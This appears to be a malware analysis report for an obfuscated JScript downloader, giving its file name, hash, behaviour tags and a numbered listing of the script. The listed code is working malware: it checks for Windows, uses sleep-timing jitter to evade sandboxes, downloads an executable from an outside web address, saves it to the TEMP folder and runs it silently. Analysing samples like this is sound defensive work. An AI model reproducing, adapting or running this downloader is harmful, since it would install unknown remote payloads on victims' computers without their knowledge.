20160328_9b3dd55f0e5b82df0cc4152d903ec88a.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2563326e7c868581c4b872b55d7ef859da4142f674cc94817837ea2599f134259c9
Evidence
1var Vohhmhnshu = false;
2var Uzagbp = "CreateObject";
3var Orintuniwo = function Xaioa() {return WScript[Uzagbp]("WScript.Shell");}();
4var Lrieyzcg = 123213;
5var Voreq = "MSXML2.XMLHTTP";
6var Jmpna = 2123213;
7var Hsyrfuupdf = 0;
8function Vsqrlznelm(Cdmte){Orintuniwo["Run"](Cdmte, Hsyrfuupdf, Hsyrfuupdf);};
9function Hwnhufsfc(){return Voreq;};
10function Fcjgkxlk(Qzfngowgvv, Wsbjih){return Qzfngowgvv - Wsbjih;};
11function Pzbdii(){return Uzagbp;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Vohhmhnshu = true;
15 @end
16@*/
17var Bqjrvjrs = "";
18if (Vohhmhnshu)
19{
20function Vlrofjj(){return 22;};
21var Iabijeqbg = 0; var Ttnjijgam = 0;
22function Vgdmo()
23{
24var Pxelyyiyfk = new this["Date"]();
25var Mhdzkja = Pxelyyiyfk["getUTCMilliseconds"]();
26WScript["Sleep"](Vlrofjj());
27var Pxelyyiyfk = new this["Date"]();
28var Jwaaqvmrq = Pxelyyiyfk["getUTCMilliseconds"]();
29WScript["Sleep"](Vlrofjj());
30var Pxelyyiyfk = new this["Date"]();
31var Jedereusp = Pxelyyiyfk["getUTCMilliseconds"]();
32var Iabijeqbg = "Bodbpiqoi";
33Iabijeqbg = Fcjgkxlk(Jwaaqvmrq, Mhdzkja);
34var Ttnjijgam = "Jvpbmhbzlq";
35Ttnjijgam = Fcjgkxlk(Jedereusp, Jwaaqvmrq);
36Bqjrvjrs = "open";
37return Fcjgkxlk(Iabijeqbg, Ttnjijgam);
38}
39var Nwgan = false;
40var Eygdfcusuw = false;
41for (var Qldxozqys = Hsyrfuupdf; Qldxozqys < Vlrofjj() * 1; Qldxozqys++){if (Vgdmo() != Hsyrfuupdf){
…
49:7… gan && Cwiatpre() && Eygdfcusuw){
50function Wljluctot() {return Orintuniwo["ExpandEnvironmentStrings"]("%TEMP%/") + "MVl0vZghZ8I0aK3.exe";};
51 Ephypisj = Hwnhufsfc();
52 Whoevgm = WScript[Uzagbp](Ephypisj);
53 var Mqwoqmgdj = 1;
54 while (Mqwoqmgdj){
55try {
56Whoevgm[Bqjrvjrs]("GET", "http://www.cloudfire.pt/l3iska", false);
57Whoevgm["send"]();
58Zpinwvyo = "Sleep";
59do {WScript[Zpinwvyo](Vlrofjj() * 11)} while (Whoevgm["readystate"] < 4 );
60Mqwoqmgdj = Hsyrfuupdf;
61} catch(Tdqdgsa){Mqwoqmgdj = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Mcpvdnzib(Xblbjcevep) {var Spqrhpr = (1, 2, 3, 4, 5, Xblbjcevep); return Spqrhpr;};
64Xalntk = WScript[Pzbdii()]("ADODB.Stream");
65Ephypisj = Xalntk;
66Ephypisj[Bqjrvjrs]();
67Ephypisj["type"] = Mcpvdnzib(1);
68Ephypisj["write"](Whoevgm["ResponseBody"]);
69Xalntk["position"] = Mcpvdnzib(Hsyrfuupdf);
70Ephypisj["SaveToFile"](Wljluctot(), Mcpvdnzib(2) );
71Xalntk["close"]();
72Vsqrlznelm(Wljluctot());
73}
74}
75